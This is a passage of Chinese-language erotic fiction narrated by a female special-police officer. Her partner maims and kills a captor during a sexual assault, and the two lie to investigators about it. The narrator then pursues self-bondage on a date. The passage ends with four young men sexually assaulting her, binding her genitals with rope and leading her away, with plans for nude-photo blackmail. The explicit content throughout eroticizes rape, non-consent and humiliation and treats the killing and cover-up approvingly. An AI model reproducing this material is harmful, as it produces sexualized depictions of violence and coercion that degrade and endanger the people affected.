男人骂道:“贱货,臭婊子,喜欢刺激是不是?妈的,还自已铐自已,你以为你是谁?贱,真她妈的贱,老子还没见过这么贱的女人”。
我羞愧得无地自容,凄惨地扭过头去……
这一扭头,我看到了地板上的竟然有一把小刀。那小刀从男人的衣服口袋里露出了一角,但我肯定那是一把瑞士军刀,在街边就有的卖。真的是天无绝人之路吗?但我很快就绝望了,我被绑得太紧了。双手因为长时间的捆绑而麻痹和酸痛,已经失去了活动的能力,就算那刀已经捏在了手里,我也不可能割断绳子。
第四章
男人胯下之物又硬挺起来,竟将它当作鞭子抽打在江娜的脸上,边打边羞辱:“贱人,想吃吗?……”
江娜虚弱地哀求:“饶……饶了我们吧……”。
“饶你……”。男人淫邪而又狰狞,挺着下面就往江娜嘴里塞,恶毒地说:“给老子口交,你敢咬的话,老子杀了你”。
江娜竟真的张开口,任其那粗大的下面塞进嘴里,在嘴时里进进出出地抽插。
男人还觉得不过瘾,伸手又将我拉了过来,抓揉着我的乳房,我一挣扎,他就捏住我的乳头,让我不敢逃避。
突然,男人惨叫了一声,手捂着阴部,然后一脚将江娜蹬开,自已却委顿地跪在地上,脸上露出惊惧痛苦的神色。
江娜仰卧在地上,脸上露出胜利的笑容,只是那笑容显得有些恐怖。她的脸上溅满了红红的血迹,嘴里还有血不断地冒出,接着她张嘴吐出一物,那正是男人的半截下面。
我惊愕地看着这一切……
江娜很快就站了起来,找到钥匙,打开了自已的手铐,还对我做了个怪脸,然后说:“还想玩玩呢,可是天快亮啦,没时间了”。说着便拎起男人的头发,拖向阳台。
不一会,江娜返回来。我惊问:“人呢?”
江娜说:“扔下去了”。
我吃了一惊,但一想做了就做了吧。本来就是想要他死的。正思忖善后之策,江娜却抱起我,吻在我的唇上。我却没有这份心思,嗔道:“还闹,快给我松绑,该想想怎么推去责任”。
江娜说:“我早想好了,”话峰一转,吃吃地笑着问我:“是不是很刺激啊”。
我的脸一红:“还说,想吓死我啊!原来你是装出来的”。
“也不是装的,那一下真的将我摔个半死,但我们是做什么的?,格斗训练时不经常摔打吗?早就习惯啦”。江娜便说便给我解绳子,难以隐饰脸上的兴奋,自顾自地说:“如果不没时间了,我还……我还真想……玩……”。
我呸了一声,笑骂:“你发春了啊!变态,也不看看对方是什么样的人,那可是大坏蛋,那人说得没错,你就是下贱……”。
“我就是下贱怎么啦,你以为你不想啊……、。”
“我……”我的脸不自禁地红了……
事后我和江娜一口咬定罪犯乘着我们熟睡时偷偷地进来,脱光了衣服想要QJ我们,被我们发现,展开了一场搏斗,最后罪犯不敌跳窗逃跑摔死了。当问到男人那玩意是怎么回事时,江娜说打斗之中什么事情都有可能发生,谁知道那是怎么回事。
问我们为什么不通知隔壁的刑警时,江娜说:通知了。那俩个刑警主动承认错误,说自已连日工作,都很累了,睡得太死,可能没听到动静。虽然我和江娜的解说可疑之处很多,但这事还是这样了结了。
回到特警队,我和江娜竟破天荒地被放了三天假,原来我们诱捕罪犯的事情在特警队传开了,都在猜侧我们和罪犯捕斗的过程。越说越玄,还以为我和江娜受到了某些刺激呢。
给我们放假三天,是为了让我们调整一下心态。不过同时又交给了我们一任务,让我们休完假直接去B市刑警队,接受队长龙刚的安排。
江娜问我这三天干什么,我说回家。她说那太没劲了,还不如和她在一起玩呢我知道她说的玩是什么意思,但我好长时间没有回家了,怪想爸爸和妈妈的。
江娜调侃我:真的想爸爸妈妈?不会吧!是不是想那个爱得你死去活来的情人了?
我说:谁会爱我死去活来呀。脑子里却现出一个书生气很重但很英俊的面孔。
江娜说:人家那么喜欢你,一个星期一封信,对你真够痴情,就是一块冰也给化啦“。
我说:你要是喜欢,不如跟我去,我给你们介绍绍“。
江娜嗔道:说什么呢你,人家喜欢的是你又不是我。又在我耳边吃吃笑道:“这次回去,你……你就给了他,我怕万一以后又执行什么任务,真的让罪犯给欺侮了,那可……可就……”。
“呸!要被欺侮的也是你,那天……那天……你还还……用口……”。
“是啊,我就喜欢被坏人欺侮……、。”
和江娜分说回到家,享受亲情自不必说,但江娜的话却总在我耳边萦绕。想想也是,万一哪天真要落到犯罪分子的手中,就像抓捕的罪犯那样受到羞辱……幸亏那个罪犯死了,不然我和江娜的那些密秘让人知道,哪还有脸见人啊……那个……那罪犯的下面……想着想着,我就情不自禁地面红耳赤起来。
江娜嘴里所说的情人,从读高中就开始喜欢我了。他叫赵凯,现在是一家医院的主治医生。我也不是完全不喜欢他,只是觉得他书生气太重,有些软弱,缺少男人的气概。但他很爱我,是那种爱到骨子里的爱,正因为这样我又舍不得放弃他。我的功夫他是知道的,加上家传保守的观念,我几乎没让他碰过我的身子,后来约会,他更是有色心却没有色胆。
我的父母却很喜欢他,早将他当作是自已的女婿了,我一回来,就通知了他,还让他到家里吃饭。原来我不在家时,他没少讨我父母的欢心,一有时间就到家里来帮这做那,有一次父亲病了,还鞍前马后地侍候着,现在做了主治医师,工作忙了,也不忘问寒问暖。
吃完晚饭,他就跟着我进了我的房间,还自作主张地关上了房门。他对我家做的一切虽然让我感激,可一直在他面前凶惯了,怎么也做不回温柔的女性来。
这不,本想让自已柔性一点,可说出的话却还是那样冷冰冰的:“关门干什么?”
赵凯嘿嘿一笑,慌忙又要将门打开,傻得怪可气的。我说:“关上就关上了吧”。
他哎了一声,讨好地笑着说:“是,是……”。见我坐在床边,也想坐过来,可看见我爱理不理的样子,又坐到床边书桌前的椅子上。
“做……做女特警是……不是很幸苦啊?”他问,像是没话找话。
“不幸苦,很好玩,也很刺激,怎么,是不是想试试女特警的厉害?”
“不,不,不……”
“你怎么一点都没变啊,还是那熊样,是不是想坐过来,想就坐过来啊,还让人请啊”。
赵凯有些受宠若惊,迟疑了一下,还是畏畏缩缩地蹭到我的身边坐下,和我保持了一点距离。我却有些着恼,忍不住伸脸亲了他一下。
这一下让他呆若木鸡似的,惊疑而又不知所措。我羞红了脸,低下头,喃喃地说:“谢谢你为……为我家所做的一切。”
“不……不用谢,那……那是我应该做的,为……为了你,我什么都愿意……“。
我有些感动,抓起他的手放在我的腰上,幽幽地问:“你真的……真的喜欢我?”
“真,真的”。
“为……为什么喜欢……喜欢我啊,对你那么凶你还喜欢……、。”
“我……我……我就是喜欢你,我……”。
我闭上眼睛,将唇送上去:“那你干嘛不……不亲我……”。
“……我……我不敢……”。
“我让你亲也不敢吗?”
“我……”。
真是让人又羞又恼,我都这样了他还没那个胆量,没见过这么没用的男人,怎么怕我怕成这样。难道怕我捉弄他?有我这样捉弄人的吗?该不会是怕我的功夫不小心伤着他吧……“你就这样怕我?将我绑起来得了”。我没好气地说。
他自然以为我在开玩笑,不过此时我竟然真的希望他能将我绑起来呢。但我知道他连吻我的勇气都没有,又怎敢捆绑我。
我扫视了一下房间,没有发现绳子。但忍不住想要被绑起来的冲动,从回来的行礼中拿出手铐。这手铐……这手铐特意带回来是想……是想这两天自已铐自已玩的啦。
赵凯惊愕地看着我拿出手铐,不明白我要做什么。我将手铐递给他。然后背对着他说:“铐啊”。
“不……不会真的吧?”
“我让你铐就铐”。
“还……还是算……算了……我……”。
“你不是很怕我吗?将我铐起来不就不怕了吗?”。
“我……不……是怕……怕你,我是爱……爱你……”。
我叹了口气,知道他是不会铐我的,再让他说下去,我也真不好意思也没有理由让他再铐我了。我从他手里拿过手铐,“咔、咔”两响,就将自已的双手反铐起来。
他惊惶地问:“钥匙呢?手铐的钥匙呢?别……别铐坏了手……”。
被铐起来的感觉真好,特别是现在。我可不能将钥匙的位置告诉他,不然他会义不容词地给我打开。我的脸烫烫的,有些羞涩,更有压抑不住的兴奋。可是这呆子,还是不知道人家的心事,迟迟不来动我,非要人家……我不管不顾地坐在他的腿上,身子向后仰,然后说:“你再不抱住我,我可要摔到地上了”。
赵凯慌乱地搂住了我。我能听到他的心跳和粗喘的呼吸声。我满脸羞红地说:“你……你就那样的怕……怕我……”。
“我……我不是怕,我是爱……你就……就是我的女王,我的女神……”。
“不,我……我才……才不要做你的女王,人家……人家想……想……、以后我再也不会对你那么凶了,要凶,你……你就将……将人家绑……绑起来,好不好?”
这男人真不懂风情,竟然说:“不不不,我喜欢你凶,我喜欢你凶。”。
“要是……要是以后我们在……在一起了,别人会说你……说你怕……怕老婆”。
“怕……怕老婆就怕老婆……你真的愿意嫁给我么??”
“你傻呀!如果你愿意等,我就嫁给你”。
“我愿意,我愿意等,等一辈子都愿意,呵呵……、”。赵凯欣喜若狂,出人意料地在我脸上狠狠地亲了一口。
我满脸娇羞,将脸埋进他的胸膛。幽幽说:“我以后再也不凶了,做一个乖乖的小女人跟着你……、”。
恰在这时,我的母亲在房外叫道:“小赵,梅梅,出来吃西瓜”。
母亲这一声喊,让我又羞又耻,慌忙站了起来,差点……差点就……当地风俗,女儿家是不能在娘家亲热的,成家了就更不行了,会给家里带来不幸。
我和赵凯同时答应了一声,相互一望,都是红通通的脸色。
赵凯说:“钥匙呢?我给你打开吧”。
我却不愿意打开手铐,想了想,说:“我们……去……去你……我们出去走走吧”。又忍不住羞耻地想:如果你敢将我带到你家里,我就什么都给你。
“哎,好,不……不打开手铐吗?”
“不,不打开,我想……我想让你保护我”。我想是男人就喜欢听到自已心爱的女人说这样的话吧,果然,赵凯也不例外,表现出雄气十足的样子,更为有机会保护自已心爱的女人而豪气万丈。
我却想还不知道谁保护谁呢,人家是喜欢被铐着才这样说的啊。怕他看出我的真实心理,一语双关地说:“从小长这么大,我还没尝过被男人呵护的滋味呢,今天晚上人家……人家就交给你了……”。
“放心,要是有人敢欺侮你,我就和他拼命,呵呵……”。
“傻像。给我披件衣服,让人看见我被铐着,还以为你抓了女犯人呢”。
“披什么衣服啊?”他问。我才想起自已当女警之后一直没有卖衣服,以前的也肯定不合身了。其实我现在的穿着也够土的,一件粉红色的T恤和廉价的牛仔裤。
我说:“将你的西服脱下来给我披上不就行了,这么热的天,还穿什么西服。”
“哎,是,是”。说着便将西服脱下来披在我身上。他的身材虽算不上高大,但那西服却足够遮住铐住我手腕的手铐。
出了我的房间,母亲正从厨房里端出西瓜,父亲看着电视。我说:“爸妈,我们出去走走”
看着我和凯在一起,父母都很高兴。母亲:“吃了瓜再去吧”。
我说不了,回来再吃,怕被父母查觉我被手铐铐着,急匆匆地走到门口。但母亲却将凯拉住,硬塞了两片西瓜。我准备换上自已回来时穿的运动鞋,发现它有些脏,再说自已被反铐着,没法自已穿上。跟着我就看到一双高跟鞋放在门边的鞋架上,竟然还是在脚腕上系带的那一种,鞋跟也很高,差不多有十公分吧。
我就觉得奇怪,谁会穿这样的高跟鞋啊!该不会是自已母亲的吧?可是妈已经四十多岁了,还有这么时毛?好奇地问:“妈,这是谁的高跟鞋啊?”
妈也不知还在跟凯说些什么,听到我叫,向我走来。我顿时紧张起来,忙说:“就是这双,您别过来了”。
妈已经看到了鞋子,说:“哦,这一双啊,是你表妹的,前些时她来,说是这鞋打脚,在我们家换了一双鞋就走了。说是过两天再换回去,可是现在也没来,这鞋也就放在这了。”
我哦了一声:“那我穿穿成吗?”
妈说:“有什么不成,表妹又不是外人,你要穿就穿吧,”。
凯倒也机灵,拦住了母亲,说我来给你穿吧。从鞋架上将那皮鞋拿了下来。
我将脚抬起,他便捏着我的脚给我穿上鞋子。不知为什么,脚在他手里让我产生一丝异样的感觉,不禁呯然心动。其实我是很少穿高鞋的,化装成舞女诱捕罪犯时才第一次穿,鞋跟还没这双高呢。穿上高跟鞋谈不上舒服,更有些不适应,两条腿挺挺的,像是被迫必需站直的样子。可正因为有了这样的感觉,让我舍不得放弃它,特别是凯在我的脚腕上系住鞋带时,还产生他在给我戴上脚僚的想法。
母亲笑吟吟地看着我们,为了隐饰内心和发烫的脸色,我对母亲做了个怪脸。
妈妈瞪了我一眼,嗔怪道:“都这么大的人,还不懂事”。
我知道母亲指的是不该让凯为我穿鞋,可她怎知我是没有办法啊,要是知道了我的双手被铐着,还不知会有什么样的反应呢。
凯笑着说:“没什么,阿姨。”
妈问我:“晚上要给你留门吗?”
“当然要留了……”。突然明白了母亲的意思,脸顿时红了,忍不住看了凯一眼,他却只知傻笑。
出了家门,路过一条长长的巷子便到了街上。因为晚饭吃得晚,其时天已经黑了,因为是老街道,早以不再行车,但更显得热闹,行人也多,做生意的卖小吃的,几乎占尽了街道。
因为人多,有几次都险些将披在身上的西服碰掉,让我既紧张又莫名其妙的兴奋,忍不住去想,如果他们看到我被手铐铐着,会有什么样的反应呢?高跟鞋更给我双腿被约束的感觉,因为不习惯,走路很不方便,还难以掌握身体平衡的样子。
我对凯说:“你……你就不能搂着我?”
凯欣喜地一笑,将我搂住,显得很生硬,怎么看都不像是一对热恋中的情侣。
不过,双臂被他生硬地搂着,手又铐在身后,像是被他挟持着,加强束缚的感觉,让我产生兴奋的心理。
“我……我们去哪?”凯问。
我心想:你想带我到哪就去哪,人家都自铐了双手,还不明白人家的心思,唉!。我又羞又恼,真想动手打他……打他的想法让我醒悟,看来我对他真的有暴力倾向,难怪他会怕我。
我说:“去个没人的地方,就我们俩”。
凯挠了挠头说:“那……那只有去南山了,就是……就是有点远”。
我嗔道:“打的去不就得了”。
其实南山也不算远,坐车也就五六分钟的路程,以前凯约我时,就去过。又走了百余米,才见到出租车,凯打开车门,让我上去。车子行驰之后,我主动靠在凯身上,又让他好一阵的兴奋和紧张。
在我做特警之前,南山便是市民晨练的地方,到了晚上就成了情侣的天下。
但今天却很冷清,没见到什么人。我问凯是怎回事,凯也说不知道。
顺着简陋的石阶,好不容易才上到半山腰。其实南山并不是很高,也没成片的树林,有的也只是一些零零散散的小树和灌木,因为穿着高跟鞋双手又被反铐着,才显得难爬了些。终于还是看到了一对情侣正从山上下来,可是走近才发现原来是俩个男人。
凯有些紧张,将我扶向一边等那俩人走过去。但那俩个人却在我们面前停了下来,借着城市的微光,我看见他们的手里拿着明晃晃的刀子。
一人阴着嗓音说:“借点钱使使”。
原来是这样,怪不得南山上变得冷清了。凯却已经在慌乱地掏钱,我说:“别给他们”。
一男人说:“哟荷,这小妞挺冲的,怎么着?想见血?”声音有点稚嫩,年龄不大的样子。
凯慌忙拦在我身前,陪着小心:“不……不……我们给,我们给……”。
我却不依,想推开凯,这才记起自已还被铐着双手呢,不禁也有了些胆怯。
没想到凯却被那个男孩推开。那男孩直接站在我面前,挑衅性地将刀子在我脸上拍了拍,阴阳怪气地说:“想玩玩是不是……”
我几时受过这样的屈辱,来不及多想,就屈膝给了那男孩一下,这一膝正顶他的胯下,顿时让他痛得跪在了地上。另一个男的大骂一声:“妈的……”向我冲来,凯却突然伸手将他抱住了,并对我大叫:“快跑……”。
凯表现出的勇敢让我感动,心想原来凯不是一个软弱的人,至少为了我什么都可以不顾。乘着男人被凯抱着的瞬间,我一脚又踢在男孩的胯下,这人立时便和先一个男孩一样,痛得大叫,连手中的刀子也扔了。
嘿,这高跟鞋还是蛮有用处的嘛!
我说:“将他们绑起来,送公安局”。
凯却说:“算……算了……”。
地上的俩个人也慌忙求铙,我想了想,本来是和凯来这里……来这里……别被扫了兴,何况自已又被铐着,真要送公安局,自已怎么解释,还是算了,便教训了他们几句,听任他们躺在地上痛得翻滚,对凯说:“我们走”。
凯说:“我……我们还是回……回去吧”。
我知道他担心什么,却无所谓,固执地说:“不,别怕他们,他们要再敢来,我就废了他们”。
凯执拗不过,只好跟着我向山上走去。
我和凯来到以前约会的地方。这里有一块青石,大小正好适合俩个人躺在上面。但凯却从不敢和我一起躺着,他虽追我很苦,可我一直没有答应他做她的女朋友。以前约会总是我一个人独霸青石,仰望星月,凉风习习,很是惬意。
凯讨好地将西服从我身上取下,铺在青石上,却不敢将我扶着躺下。我嗔怪道:“人家被铐着呢,也不来扶扶人家。”其实就是不扶,我也能躺下,只是想让他多接触我的身体。要是换个男人或许就会借势将我抱在怀里,可凯不懂得这样做,让我又气又恼。
凯像以前那样坐在我的身边,痴痴地看我。而我却怎么也回不到以前的心境,心里很凌乱也很迷茫,不时闪现抓捕罪犯时的情景,渐渐地呼吸也显得急促起来,情不自禁地移向凯,动情地说:“抱……抱着我。”
哪想到凯竟说出险些让我咽气的话:“你冷吗?”
我忍不住就想发作,但硬生生地忍住了,更极尽温柔地说:“不,不冷,就是……就是想让你抱我”。
凯“哎”了一声,小心翼翼地扶住我的双臂,又小心翼翼地将我的身子向他的怀里靠,生怕这样做亵渎了我似的。我却将脸埋进他的胸膛,贪婪地吸取着男人的气息,越来越意乱情迷起来,喃喃地低语:“我……我……”。本想说我爱你,可话到嘴边却出不了口,不是因为少女的羞涩,而是怀疑自已是不是真的爱他。“我……我……我是你的俘虏……你就不想……不想……欺侮我……”。
“我……我不敢……”。凯显得很紧张,能听到他咚咚地心跳声。
“来,我……我让你欺侮……你想怎样就怎样……”。边说边将嘴唇送上,吻住他的嘴。这一次凯没再犹豫,咬住我的嘴唇舍不得放开。
“我……我是你的……你的女人……是你的……你的小女奴……”。
凯禁不住诱惑,疯狂了些,开始在我身上乱摸,毫无章法。
第五章
突然响起一阵刺耳的铃声将我们吓了一跳,本能地分开。原来是凯的手机响了。凯有些慌乱,就像是被捉奸在床的偷情汉子一样不知所措。
该死的电话!!
“是谁的电话”。我情绪烦恼地问。
“不……不知道……我看看……”。凯拿出手机一看,露出为难的样子说:“是……是医院的……”。
“不接可以吗?”
“这个……”。
我有些气了,情绪越来越低落,如果不是双手被手铐铐在背后,真想将那手机夺过摔个粉碎。冷冷地说:“那你就接吧”。
听完电话,凯说:“有个……有个患者突然病情发作……哦,是……是我负责的那个病人……我……”。
我几乎是用吼的口气数落他:“就没有别的医生了吗?少了你就不行?”
“不……不是那样……”。
“是我重要还是你的病人重要?我……我本来想……本来想……好,你走,你去……”。
“别……别生气,我……我……、”。
我的口气突然软了下来,暗自叹了口气,也觉着自已有些无理取闹,想想刚才的耻态,不免又有些羞愧,用着谈谈的语气说:“你去吧,工作要紧,我不生气。”
“那我先送你回家……”。
我索然无味,不卑不亢:“不用了,你去吧”。
“你的手……还……还铐着……、”。
“……不要紧,没关系,我自已可以回去……”。其实心里有些犹豫,只是堵着气,心烦意乱之下不愿再和他纠缠。除此之外,还有一个很另类的心理从心低燃起,如果就这样被铐着走回去,会是……会是什么滋味?
凯说:“我……我给你披上衣服吧”。
我说:“不用了,没关系,你穿上吧。”
凯拿起衣服,还是想给我披上,我恼了,喝道:“我说不用就不用了,干嘛婆婆妈妈的,我一个女特警有什么可怕的。”
“哎,那……那我走了……你回到家给我一个电话。”。
我没理他。凯尴尬地走了几步,回头看了看我,然后是小跑离去。唉!真不知道他是不是真的爱我。我突然有些明白自已为什么不敢说我爱他的原因了,那是因为我还没有爱他的决心。可是既然不是真心爱他,怎么会想和他做那种事情,难道情欲让我失去了理智,还是真怕以后被坏人夺去了贞洁。
我的思绪杂乱无章,又坐了一会,决定会家,坐车是不可能的了,不然还不知道要走到什么时候呢。其实手铐的钥匙就在我牛仔裤后面的口袋里,不告诉凯是怕他非要将我的手铐打开,那我就体验不到被束缚的滋味啦。现在都有些后悔呢,干嘛不将钥匙放在家里,知道自已随时可以自由,一点都不刺激。
我下定决心,不到万不得以决不打开手铐。
向山下走了不远,突然感到内急,唉,晚饭时喝了些饮料,现在才有反应,真是……反正没人,就在这里解决好了。
为了享受那种被束缚的无奈感觉,我不愿用钥匙打开手铐。就当自已没有钥匙吧!虽然手铐的活动余地很大,但还是无法触到牛仔裤的扭扣,于是我将裤腰向身侧拉了拉,便刚好够着。
牛仔裤虽然很宽松,但裤腰却很紧,刚一解开扭扣,牛仔裤便被崩开。只是布料很硬,没有马上就从腿上滑下去。我还是有些惶恐,紧张地看了看四周,直到确信没有什么动静。
于是我错动了一下双腿,然后走几步,牛仔裤便滑到了膝部。带着莫名的兴奋和羞耻的心理,我又将粉红色的内裤左一下,右一下地退到大腿上。我的私处暴露在空气中,特别是觉得有人会看到惶恐,让我莫名其妙地感到兴奋和刺激……唉!就算有人偷窥,也不可能看到吧,虽然月光很亮,但光亮必境有限。
哪知我刚一蹲下来,也不知是什么就戳到……竟不偏不移地戳到我的……我的……
天啦!太难为情啦!我都不好意思说。钻心的痛疼让我惊叫了出来。惊叫声在寂静地夜里似乎传得很远,唯恐有人听见,让我惊惶了好长时间。良久没见有什么反应才稍稍安心。
幸好因为手被反铐着,下蹲时不是很自然,也就慢了些,不然……不然那个地方一定伤得不轻,说不定……说不定就插了进去,被不知什么夺去处女的贞Cao.……我竟越想越兴奋,私处除了痛疼竟又涨又痒,特别是刚才被异物侵犯的感受……
可能那就是女人的高潮吧,太刺激了,忍不住还想要再来这次,但我不敢了,并不是怕痛而是怕不卫生。
我换了个位置处理完内急,慢慢将内裤穿好,可是穿牛仔裤就没那么轻松了,它已经褪到了脚腕上,铐在背后的手够不着啊。我只得又蹲下去,看能不能抓到裤腰,如果抓不到,我就将牛仔裤脱了,拿钥匙打开手铐。
此时,我却万万没有想到有四个人影悄悄地靠近了我,当我听到细碎的脚步声时,那四个人已经离我五米左右了。
我除了惊悸,更是羞耻难当,恨不得有个地洞钻进去,但我很快就反应过来,逃离是最好的选择,当我抬腿时却发现褪在脚腕的牛仔裤让我无法迈开脚步。
“就是她,这臭婊子还在……”。虽然慌乱,但我还是听出这声音的主人就是刚才上山时俩个劫匪中的一个。不用想也知道这俩个劫匪约了人想要报复。
怎么办?我该怎么办……?我狼狈地蹬着双腿想将双脚从牛仔裤中抽出来,可是慌乱之下越来越糟,让我险些摔倒。
那四个人显然注意到了我奇怪的举动,其中一人还咦了一声,接着便向我慢慢B 近。我的心咯噔一下,暗道:完了。
“你……你们想干什么?”。我惊惧地问,如果不是双手被反铐着,我也不会怕他们。可是现在,我不但被反铐着,还露出只穿着粉红色内裤的下体,又羞又觉得难堪。纵有再高的本事,也只有干着急的份儿。
那个人已经走到我的身前,我竟羞愧得不敢看他的脸色。那人说:“想干什么?你伤了我的俩个兄弟,以为我们会放过你吗?”
“是……是他们想抢……”。跟他们讲道理显然不是明智之举,我的处境让我没有选择的余地,只有和他们周旋,或许还有一线自求的希望。我软下语气,近似哀求地说:“对不起,我……我会赔偿好不好?”
我惊惧和软弱的表现显然让对方胆子大了起来,那人啧啧称奇似地说道:“你是暴露狂吗……”。
他已经注意到我的裤子褪到脚腕的情形,我想他很快就会知道我的双手为什么会不同寻常地一直背在身后原因了。
果然,他扯了一下我的手臂,“哟呵”一声,竟兴奋异常地说:“玩SM吗?还是自我奴役,嘿嘿……“然后对其它三个人显得兴奋地说:”这婊子是个贱货,是个受虐狂,呵呵……兄弟几个可有得玩了,你们过来吧,她的手被手铐铐着呢“。
那三人顿时发出惊呼,有人问:“真的吗?不会吧”。慢慢地围拢过来。
我竟然被骂作婊子,真是莫大的侮辱,恨不得立时撕了那人的嘴吧,可现在我只有气得发抖的份了。围过来的三个人见我真的和那人说的一样,嘻嘻哈哈带着嘲弄和淫邪的笑放肆起来。因为羞耻而颤抖的身体接着就受到了玩弄。
我显得悲哀地扭动着身体,却无从逃避,忍不住哀求:“不要……铙了我吧……不要……你们……不要……求求你们……不要……”。
我的哀求似乎更加激起了他们的肉欲。不知是谁的手伸进了我的T恤,扯去了我的乳罩,直接抓揉在我的乳房上。也不知是谁粗暴地撕烂了我的内裤。一只手贴着我的耻毛向我下体侵犯。我本能地夹紧双腿,无奈地阻止手指地侵入。
天啦……!我无声地悲鸣着。想到呼救,可是呼救会给我带来什么?我该怎么办?任由这些流氓侮辱我,难道真会像江娜说的那样,自已的第一次会被坏人夺去?学了一身武艺却不能保护自已,学了有什么用?连自已都落入坏人的手中无法自救,做为一名女特警又怎么去救别人?一想到自已女特警的份就更觉得莫大的耻辱……
我必需自救,看来被羞辱以是无法避免的事实了,即然这样,不如……或许还可以扭转乾坤。
我由悲哀转变成淫浪,像是被他们撩拨起了情欲,呻吟起来……
夹紧的双腿也打开了,很快就有一只手伸了进去,那手指很快就找到了我的阴道,向里伸入……
我没办法阻止它,悲哀地心想:原来我的第一次竟然会是被一根手指破了……
出我意外的是,那手竟然从胯下抽了出来,便听得大叫:“哇,好多水啊,这女人真妈的骚……”。叫声一落,那手又伸了进去。
我慌忙表现出淫乱的样子地说:“别在这里嘛……想玩我找个好的……好的地方嘛……”。
只听一人说:“这女的被我们搞得发情了,呵呵……”。
另一人说:“就是,找个地方,咱们干这婊子……”
那只伸进胯间的手竟又抽了出来,接着听到:“我知道一个地方……”。
“别说了,带咱去……”。
“等一下,谁有绳子,这婊子腿历害,别让她伤着咱”。
一听到要绳子,暗自着急。如果他们要带我走,我的双腿自然能摆脱牛仔裤的束缚,虽说不能报仇雪恨,借机逃跑的机会还是有的,可一旦再被绑上绳子,那可就糟了。转而一想,他们出来玩,怎会带着绳子……
岂知世上竟就真有这么巧的事,只听一人嘿嘿笑道:“不但有绳子,还有手铐和脚镣……嘿嘿……不是你小子打电话叫我来,老子现在早就和顾红快活上了。”
“啊,对对,我怎么忘了你小子喜欢这个,什么来着?嗯,SM吧,对,就是SM,嘿嘿……这妞是个受虐狂,不正合你小子的意?”
“嘿嘿……”。
顾红?哪个顾红,不会是我的婊妹顾红吧!SM?SM就是捆绑虐待……?
此时也不容我想得太多,只见那个说有手铐的人在裤子的几个口袋里不停地掏出些东西,其中一只手上的物体在月光下闪着金属的亮光,那……那真是,真的是手铐和脚铐。见到这些东西,心下好悲惨,甚至感到了绝望,但在绝望的同时,一种异常的心理由然从内心深处翻涌出来,渐渐地吞蚀着被虐时的屈辱和尊严。
不可否认,我的身体竟对那些束缚具产生了渴望和期待。这种不正常的反应让我倍觉羞耻,不禁想:原来自已真的是一个不正常的女人。
那人在我的身前蹲了下去。牛仔裤还在脚腕处,他没打算脱掉,让我还是没有办法反击。不久我就觉得我的两只脚腕被戴上了脚铐。那人没有打算停止,我看见他在整理绳子。
“喂,够了吧,还绑?”一人说。
“嘿嘿……慌什么,让我过过瘾,保叫这妞乖乖地跟我走,一点办法也没有,嘿嘿……”。
那人将绳子系到我腰上,在身前打结……
我立时想到江娜捆绑我下身的方式,果然,那人将绳子系过我的胯间,更在我的阴道口敏感的位置打上了一个很大的结,那结撑开我的阴唇,紧密地压在阴道口上。我的阴埠包着它,强烈地感受到异物的存在。女孩子私密的地方被人肆意地绑上绳子,让我悲辱难当,却又无可奈何。与江娜捆绑不同的是,那绳子穿过后腰的绳子又从胯间穿到身前,只是绳子不再勒进我的唇中,而是分开两边勒进大腿的根部。,就像是绳夹,紧紧地夹着我的阴埠。
绳子系在我腹部的位置。那人将绳子递给一个人手里,然后给我穿上牛仔裤。
绳子便从裤链中伸出来。我又燃起了希望,只要裤子被穿起来,我就可以拿到放在口袋里的手铐钥匙……
然而,很快我就又感到了绝望……
那人又用一根绳子搭到我肩上,从腋下穿过,在背后绕着手铐中间的链子,向上提起,我的手又被高高地吊了起来。在被捆绑的同时,那个牵着我阴部绳子的人,故意地拉扯着绳子,让我感到阴部被收紧,绳结和两边的绳子夹着阴埠,产生难以隐忍的痛疼。
我娇喘着,故意用淫荡的语气哀求:“别……别闹了……很痛嘛……“。
既然已经被他们当作了喜欢受虐的女人,只好将计扮演下去。可是我又分不清自已真的是在做戏还是被激起了受虐的欲望,在阴部绳结的刺激下,我的身体情不自禁地显得亢奋。那人继续捆绑着我,绳子又从腋下穿到身前,在乳房上下连同手臂缠绕,渐渐地让我动弹不得。
我成了他们的俘虏,成了这四个流氓的玩偶。如果让人知道一个女特警竟被四个名不见经传的市井小流氓侮辱了,那真是一件奇耻大辱的事情,可这个女特警竟然是我。
“这个绳子给我拉着……”。
“不,我拉……”。
“还是让我玩玩……”。
他们竟然争夺着系住我阴部的绳子,都知道谁得到绳子就可以戏弄我。对他们而言那将是一件很有趣和很刺激的事情,但却让我感到无比的悲屈辱和悲哀。
我就这样被他们拉着走了,紧缚的手臂和带着铐的双腿让我没有一点想要抗争的勇气,只是无奈地想:有功夫有什么用,是女特警又有什么用,还不是被几个小流氓肆意地羞辱和玩弄了。老天对我太不公平了,为什么偏偏让我陷进如些悲惨的境地。
虽然脚被铐着,但有三十公分的余地,想要走得更快却不可能,四个流氓显得很急,恨不得早点到达目的地,时不时叫骂催我快点,如此一来,我柔嫩的阴部被绳子时紧时松地肆虐着,让我狼狈痛苦不堪。
他们是从南山的另一面带走了我,这面显得很偏僻,是一处还没有开发的田野和丘林,一些村庄的住户零零散散地座落在四周。
又走了一段路,竟没碰到一个行人,求救的机会越来越渺茫起来。我知道自已即便是碰上行人,也不一定会求救,那太耻辱了,明天的报纸上就说不定会登出“一个漂亮的女特警遭受四个流氓侮辱”的标题。人们会对这样的标题非常感兴趣的,各样的流言很快就会流传至城市的每个角落。
“咦,张军,这不是你原来的那个家吗?”
在一栋乡村似的旧房子前,那个被称作张军的人正掏着钥匙开门。
另一人说:“你胆子太大了吧,竟敢将她往家里带,要是……”。
张军说:“怕什么,待会给她来几张裸照,她就不敢说出去了,女人都怕这个”。
“顾红是不是也是被你这样害的?”
“她!才不是,那小妮子天生一个受虐狂,你不绑她不虐待她还不行”。
我被拉进了房间,门在我背后关上。这时灯亮了,我这才看清这四个流氓年龄都不大,怎么看也就十八九岁的样子,那个张军显得老练一些,长像也算是最好的,其余三人,一个稍瘦,像个瘦猴,我阴部的绳子就牵在他的手里。
另俩个块头差不多,有点横,只是一个人的脸上有一道刀疤,另一个却剃了光头。房子里也很脏乱,报纸和方便盒散落一地。
靠着墙边有一个破损的沙发,上面没什么灰尘,看来经常有人坐过。有两间卧室,门都被关着。还有一道门,应该是通向厨房的。
张军从瘦猴的手里抢过绳子,打开一间卧室的门,对另三人说:“哥几个,我先来……”。
立时就有人反对:“凭什么啊,咱说好了有难同当有福同享,凭什么你先来”。
有人附合:“是啊,是啊……嘿嘿……你有顾红那小妞还不知足吗,这个就别抢了吧”。
反对的是刀疤脸,附合的是瘦猴。张军灿灿地说:“那怎么办?要不一起来?”
